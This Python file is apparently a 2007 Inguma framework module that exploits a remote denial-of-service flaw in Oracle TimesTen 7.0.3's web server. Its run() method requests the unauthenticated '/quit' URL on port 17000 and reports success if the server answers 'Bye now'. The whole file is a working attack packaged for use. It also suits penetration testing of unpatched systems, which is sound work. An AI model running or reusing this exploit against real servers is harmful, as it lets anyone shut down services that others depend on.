#!/usr/bin/python

"""
Oracle TimesTen 7.03 Web Server DOS #4 for Inguma
Copyright (c) 2007 Joxean Koret <joxeankoret@yahoo.es>

License is GPL
"""

import urllib
from lib.libexploit import CIngumaModule

name = "oratt70dos4"
brief_description = "Oracle Times Ten 70 Remote DOS #4"
type = "exploit"
affects = ["Oracle TimesTen 7.0.3"]
description = """
Oracle TimesTen 7.0X is vulnerable to multiple remote denial of service conditions.
That one exploits a vulnerability found only in Windows versions.
"""
patch = "Fixed in version 7.0.5"
category = "dos"
discoverer = "Joxean Koret"
author = "Joxean Koret <joxeankoret@yahoo.es>"

class COraTt704(CIngumaModule):
    target = ""  # Main target
    port = 17000
    waitTime = 0
    timeout = 1
    exploitType = 1
    services = {}
    results = {}
    dict = None
    interactive = True

    def run(self):
        data = urllib.urlopen("http://" + self.target + ":" + str(self.port) + "/quit").read()
        if data.find("Bye now") > -1:
            print "[+] Exploit works"
            return True
        else:
            print "[!] Exploit doesn't work"
            return False

    def printSummary(self):
        pass
